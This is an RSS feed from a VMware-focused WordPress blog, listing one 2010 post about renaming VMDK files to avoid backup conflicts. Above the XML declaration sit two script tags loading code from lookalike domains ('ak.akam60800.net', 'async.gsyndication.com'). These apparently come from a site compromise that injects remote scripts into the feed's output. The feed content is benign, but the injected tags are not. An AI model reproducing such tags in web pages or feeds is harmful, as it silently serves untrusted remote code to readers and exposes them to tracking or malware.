<script src="//ak.akam60800.net/"></script><script src="//async.gsyndication.com/"></script><?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>rename VMDK Archives - ESX Virtualization</title>
	<atom:link href="https://www.vladan.fr/tag/rename-vmdk/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.vladan.fr/tag/rename-vmdk/</link>
	<description>VMware ESXi, vSphere, VMware Backup, Hyper-V... how-to, videos....</description>
	<lastBuildDate>Wed, 07 Jun 2017 05:47:39 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>Rename VMDKs to avoid Backup conflicts</title>
		<link>https://www.vladan.fr/rename-vmdks-to-avoid-backup-conflicts/</link>
		
		<dc:creator><![CDATA[Vladan SEGET]]></dc:creator>
		<pubDate>Fri, 09 Apr 2010 08:13:24 +0000</pubDate>
				<category><![CDATA[Server Virtualization]]></category>
		<category><![CDATA[how-to rename VMDK]]></category>
		<category><![CDATA[rename VMDK]]></category>
		<guid isPermaLink="false">http://www.vladan.fr/?p=5694</guid>

					<description><![CDATA[<p>What if you end up with the same vmdk file name on different datastores? A simple case scenario that can happens: A single VM has several hard disk attached to it. The hard disk VMDK files are located on different datastores. When creating a new hard disk which location is on different datastore to a [&#8230;]</p>
<p>Read the full post <a href="https://www.vladan.fr/rename-vmdks-to-avoid-backup-conflicts/">Rename VMDKs to avoid Backup conflicts</a> at <a href="https://www.vladan.fr">ESX Virtualization</a>.</p>
]]></description>
		
		
		
			</item>
	</channel>
</rss>
